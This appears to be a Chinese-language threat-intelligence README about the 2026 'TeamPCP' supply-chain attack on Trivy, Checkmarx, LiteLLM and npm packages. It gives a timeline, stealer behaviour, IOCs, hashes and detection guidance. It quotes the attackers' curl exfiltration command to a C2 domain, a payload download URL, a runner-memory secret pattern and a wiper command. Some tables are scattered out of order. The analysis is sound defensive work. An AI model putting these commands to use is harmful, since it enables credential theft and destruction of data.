CVE-2026-33634 (CVSS 9.4) — 2026 年迄今为止最具影响力的 CI/CD 供应链攻击。
CVE-2026-33634(CVSS 9.4)——2026 年迄今影响最大的 CI/CD 供应链攻击。
2026 年 3 月 19 日至 25 日期间,威胁行为者 TeamPCP(也被追踪为 DeadCatx3、PCPcat、ShellForce、CanisterWorm)在五个生态系统中实施了一次级联供应链入侵:GitHub Actions、Docker Hub、OpenVSX、npm 和 PyPI。该活动始于一个未完全轮换的 GitHub PAT,随后蔓延至两家主要开源安全厂商(Aqua Security 和 Checkmarx)、四个 GitHub Actions 仓库、两个 VS Code 扩展、容器镜像仓库以及 66+ 个 npm 包。
本仓库提供了完整的技术剖析、精选 IOC 列表(已经过误报测试),以及可直接部署到 Microsoft Defender XDR 中的检测查询。
| 日期(UTC) | 事件 |
|---|---|
| 2026 年 2 月 20 日 | 创建 hackerbot-claw 账户;开始扫描仓库以寻找可利用的 pull_request_target 工作流 |
| 2026 年 2 月 28 日 | 通过 PWN 请求首次入侵 Trivy;凭证被外泄 |
| 2026 年 3 月 1 日 | Aqua Security 尝试遏制——凭证轮换不完整 |
| 3 月 19 日 17:43 | 主攻击: TeamPCP 通过被入侵的 aqua-bot 服务账户强制推送了 aquasecurity/trivy-action 中 75/76 个标签以及 setup-trivy 中全部 7 个标签 |
| 3 月 19 日 18:22 | 被植入后门的 Trivy v0.69.4 发布到 GitHub Releases、Docker Hub、GHCR、ECR |
| 3 月 20 日 05:40 | Trivy-action 入侵窗口关闭(约 12 小时) |
| 3 月 20 日 20:45 | 检测到 CanisterWorm 在 npm 中传播——47+ 个包被入侵 |
| 3 月 22 日 20:31 | TeamPCP 在脚本驱动的 2 分钟爆发中篡改了 aquasec-com GitHub 组织下的全部 44 个仓库 |
| 3 月 22 日 | Docker Hub 镜像 0.69.5 和 0.69.6 被推送,携带相同的窃取器有效载荷 |
| 3 月 23 日 02:53 | Checkmarx 波次开始: 通过 ast-phoenix 账户向 OpenVSX 发布了恶意的 ast-results v2.53.0 和 cx-dev-assist v1.7.0 |
| 3 月 23 日 12:58 | 通过被入侵的 cx-plugins-releases 账户强制推送了 Checkmarx/kics-github-action 的全部 35 个标签 |
| 3 月 23 日 15:41 | Checkmarx 报告 OpenVSX 问题已解决 |
| 3 月 23 日 16:50 | 在用户举报后,KICS GitHub Action 被下架 |
| 3 月 23 日 22:25 | Sysdig 报告 Checkmarx/ast-github-action v2.3.28 也已被入侵 |
| 3 月 24 日 08:30 | LiteLLM 波次: 使用窃取的凭证向 PyPI 发布了被木马化的 litellm v1.82.7 和 v1.82.8 |
| 3 月 24 日 11:25 | PyPI 隔离了恶意的 LiteLLM 版本 |
根本原因:2 月 28 日入侵事件后的凭证轮换不完整。aqua-bot 服务账户的 PAT 要么未被撤销,要么攻击者在轮换期间观察到了新令牌。
TeamPCP 利用这一保留的访问权限,将版本标签强制推送到恶意的冒名提交上。每个伪造的提交都克隆了原始提交的元数据(作者、时间戳、消息),同时将入口点脚本替换为窃取器有效载荷。GitHub 的发布页面没有显示任何可见变化——连“不可变(Immutable)”徽章都正常显示。
该窃取器——一个 204 行的 entrypoint.sh,自我标识为“TeamPCP Cloud stealer”——执行三阶段攻击:
阶段 1:内存抓取
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
阶段 2:文件系统凭证扫描
扫描 50+ 个敏感路径,包括:
~/.ssh/*)~/.npmrc).env 文件阶段 3:加密外泄
tpcp.tar.gzcurl POST 将数据外泄到针对特定厂商的仿冒域名GITHUB_TOKEN 在受害者的 GitHub 账户中创建 tpcp-docs 或 docs-tpcp 仓库在非 CI 的 Linux 系统上,该恶意软件:
~/.config/sysmon/sysmon.py)Trivy 波次中窃取的凭证使得 Checkmarx 的生态系统遭到入侵。每个新波次都使用不同的仿冒域名 C2 域,以规避上一波次的封禁列表:
| 波次 | C2 域 | 仿冒对象 |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| 扩展 | 恶意版本 | 安全版本 |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
这两个扩展于 3 月 23 日 12:53 UTC 通过 ast-phoenix 账户发布,彼此相隔 12 秒。激活时,environmentAuthChecker.js 会检查云供应商凭证,然后从 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz 拉取第二阶段窃取器。
| 镜像 | 恶意标签 |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| 包 | 版本 | 被植入后门的文件 |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
三重嵌套的 base64 有效载荷,附带 K8s 横向移动工具包。通过轮询 checkmarx.zone/raw 的 sysmon.service 实现持久化。
所有波次的外泄模式完全相同:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
仿冒域名策略是刻意为之:分析师在审查 CI/CD 日志时,会看到发往看似该 Action 自身供应商域的 curl 流量。如果不仔细比对,scan.aquasecurtiy.org 在快速日志审查中会被误认为 aquasecurity.org。
只有攻击者能够解密窃取的数据——AES 会话密钥使用其公钥进行 RSA-OAEP 加密。
在 Trivy 被入侵后的 24 小时内,窃取的 npm 令牌使得一个自我传播的蠕虫蔓延至 66+ 个包(141 个恶意制品)。
CanisterWorm 的特别之处:
tdtqy-oyaaa-aaaae-af2dq-cai 的 canister 是一个去中心化智能合约——没有单一的关停点get_latest_link、http_request、update_linkyoutube.com 的 URL,后门将休眠pgmon(PostgreSQL 监控)的 systemd 用户服务/tmp/pglog,状态记录在 /tmp/.pg_state已知被入侵的范围: @emilgroup/*、@teale.io/*(@teale.io/eslint-config v1.8.11、v1.8.12 中的自我传播变体)
一个破坏性变体专门针对伊朗系统:
kamikaze 的容器擦除数据并强制重启rm -rf / --no-preserve-root通过系统时区和区域设置检查进行检测。
规则名称: TeamPCP Supply Chain C2 and Malware IOC Match
严重性: 高
类别: 命令与控制(CommandAndControl)
频率: 每 1 小时
完整 KQL 查询请参阅 detection/defender_xdr_query.kql。
该查询涵盖:
在 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv 处提供了一个可直接导入的 CSV。该文件已针对生产企业环境进行过误报(FP)测试。
| 平台 | 检测 |
|---|---|
| Palo Alto Cortex XDR | 规则 ioc.linux.shaihulud.2——GitHub Action 运行器上的凭证访问 |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container、Curl Exfiltrating File、Exfiltration of AWS IMDS Credentials Using LOTL Binary |
| URL | 功能 |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | 第二阶段有效载荷下载 |
checkmarx[.]zone/vsx | 外泄端点 |
| 名称 | 波次 |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
本仓库中的检测查询和 IOC CSV 已针对运行以下环境的生产环境进行过测试:
以下 IOC 因确认存在误报而被移除:
MIT——可自由使用、分享、改编。欢迎注明出处。
作者: Ugur Can Ates——SOC 团队负责人兼高级安全工程师
最后更新: 2026 年 3 月 25 日
| Checkmarx/KICS |
checkmarx[.]zone |
| checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| 仓库 | 被入侵的标签 | 暴露窗口(UTC) | 入口点 |
|---|
aquasecurity/trivy-action | 75/76(安全:0.35.0) | 3 月 19 日 17:43 – 3 月 20 日 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | 全部 7 个标签 | 3 月 19 日 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | 全部 35 个标签 | 3 月 23 日 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28(可能全部) | 3 月 23 日 ~22:25 起 | setup.sh |
| 哈希 | 描述 | 来源 |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Trivy 恶意 entrypoint.sh | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm 第 4 波——最终形态 | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm 第 3 波——自我传播测试 | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm 第 2 波——已武装的 ICP 后门 | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm 第 1 波——deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm 第 2 波——deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm 第 3+ 波——deploy.js(压缩版) | Aikido Security |
| 指示器 | 类型 | 用途 |
|---|
83.142.209.11 | IP | C2 服务器(checkmarx.zone) |
45.148.10.212 | IP | C2 服务器(scan.aquasecurtiy.org) |
checkmarx[.]zone | 域 | C2——Checkmarx/KICS/LiteLLM 波次 |
scan.aquasecurtiy[.]org | 域 | C2——Trivy 波次 |
models.litellm[.]cloud | 域 | C2——LiteLLM PyPI 波次 |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | 域 | ICP canister 秘密投放点(dead-drop)C2 |
checkmarx[.]zone/raw |
| 持久化轮询(50 分钟) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | ICP canister C2 |
| 路径 | 用途 |
|---|
~/.config/sysmon/ | 后门目录 |
~/.config/sysmon.py | Python 后门 |
~/.config/systemd/user/sysmon.service | Systemd 持久化 |
~/.config/systemd/user/pgmon.service | CanisterWorm 持久化(PostgreSQL 伪装) |
/tmp/pglog | 下载的二进制文件 |
/tmp/.pg_state | C2 轮询状态 |
| IOC | 误报来源 |
|---|
setup.sh(文件名) | Ansible 集合、Claude Code 插件缓存、Bitnami 脚本 |
service.py(文件名) | Ansible module_utils、protobuf、boto3、FreeIPA、K8s 核心 |
deploy.js(文件名) | 标准 npm/node 文件 |
169.254.169.254(IMDS IP) | FortiMonitor 代理、Oracle AHF——合法监控 |
icp0.io(父域) | 范围过广,会命中合法的 ICP 流量 |
hooks.slack.com(命令行) | 合法的 Slack 集成 |
discord.com/api/webhooks(命令行) | 合法的 Discord 集成 |
| 技术 | ID | 背景 |
|---|
| 供应链入侵:软件依赖 | T1195.002 | GitHub Actions 标签投毒、OpenVSX、npm、PyPI |
| 不安全凭证:云实例元数据 API | T1552.005 | 从 CI 运行器窃取 AWS IMDS |
| 从密码库获取凭证 | T1555 | 文件系统凭证扫描(50+ 路径) |
| 操作系统凭证转储 | T1003 | 抓取 Runner.Worker 的 /proc/mem |
| 通过 C2 通道外泄 | T1041 | 加密的 tpcp.tar.gz 发送至仿冒域名 |
| Web 服务 | T1102 | ICP canister 秘密投放点(dead-drop)C2 |
| Systemd 服务 | T1543.002 | pgmon.service、sysmon.service 持久化 |
| 入口工具传输 | T1105 | 下载 checkmarx-util-1.0.4.tgz |
| 获取基础设施:域 | T1583.001 | 每个波次使用不同的仿冒域名 |
| 来源 | 链接 |
|---|